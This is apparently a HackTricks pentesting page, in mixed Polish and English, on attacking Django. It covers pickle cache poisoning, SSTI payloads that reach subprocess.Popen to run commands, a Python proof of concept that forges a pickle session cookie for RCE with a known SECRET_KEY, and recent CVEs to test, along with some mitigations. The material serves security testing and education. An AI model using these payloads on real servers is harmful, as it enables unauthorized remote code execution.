# Django

{{#include ../../banners/hacktricks-training.md}}

## Manipulacja cache prowadząca do RCE
Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.

Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

---

## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.

### Detection
1. Szukaj dynamicznych wywołań `Template()` / `Engine.from_string()` / `render_to_string()` które zawierają *jakiekolwiek* nieoczyszczone dane z żądania.
2. Wyślij ładunek oparty na czasie lub arytmetyczny:
```django
{{7*7}}
```
Jeśli wyrenderowany output zawiera `49`, oznacza to, że dane wejściowe są kompilowane przez silnik szablonów.

### Sposób eskalacji do RCE
Django blocks direct access to `__import__`, but the Python object graph is reachable:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od kompilacji Pythona) i wykonaj dowolne polecenia:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Bardziej bezpieczny uniwersalny gadget to iteracja aż `cls.__name__ == 'Popen'`.

Ten sam gadget działa dla **Debug Toolbar** lub funkcji renderowania szablonów **Django-CMS**, które niewłaściwie obsługują dane wejściowe od użytkownika.

---

### Zobacz także: ReportLab/xhtml2pdf PDF export RCE
Aplikacje oparte na Django często integrują xhtml2pdf/ReportLab w celu eksportu widoków do PDF. Gdy HTML kontrolowany przez użytkownika trafia do generowania PDF, rl_safe_eval może ocenić wyrażenia wewnątrz potrójnych nawiasów `[[[ ... ]]]`, umożliwiając wykonanie kodu (CVE-2023-33733). Szczegóły, payloads i sposoby łagodzenia:

{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}

---

## Pickle-Backed Session Cookie RCE
Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub używany jest niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i deserializuje (unpickles)* cookie sesji **zanim** wywoła jakikolwiek kod widoku. W związku z tym posiadanie ważnego klucza podpisującego (domyślnie projektowy `SECRET_KEY`) wystarcza do natychmiastowego zdalnego wykonania kodu.

### Wymagania exploitu
* Serwer używa `PickleSerializer`.
* Atakujący zna / może odgadnąć `settings.SECRET_KEY` (leaks via GitHub, `.env`, strony błędów, itp.).

### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Wyślij otrzymane cookie, a payload uruchomi się z uprawnieniami procesu WSGI worker.

**Mitigacje**: Zachowaj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.

---

## Najnowsze (2023-2025) wysokiego wpływu CVE Django, które pentesterzy powinni sprawdzić
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (załatane 4 czerwca 2025). Pozwala atakującym przemycić znaki nowej linii/kody ANSI do plików logów i zatruć dalszą analizę logów. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** – *Critical SQL injection* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Spreparuj klucze JSON, aby przerwać cytowanie i wykonać dowolne zapytania SQL. Załatane w 4.2.15 / 5.0.8.

Zawsze ustal dokładną wersję frameworka poprzez stronę błędu `X-Frame-Options` lub hash `/static/admin/css/base.css` i przetestuj powyższe, gdy mają zastosowanie.

---

## Referencje
* Komunikat bezpieczeństwa Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

{{#include ../../banners/hacktricks-training.md}}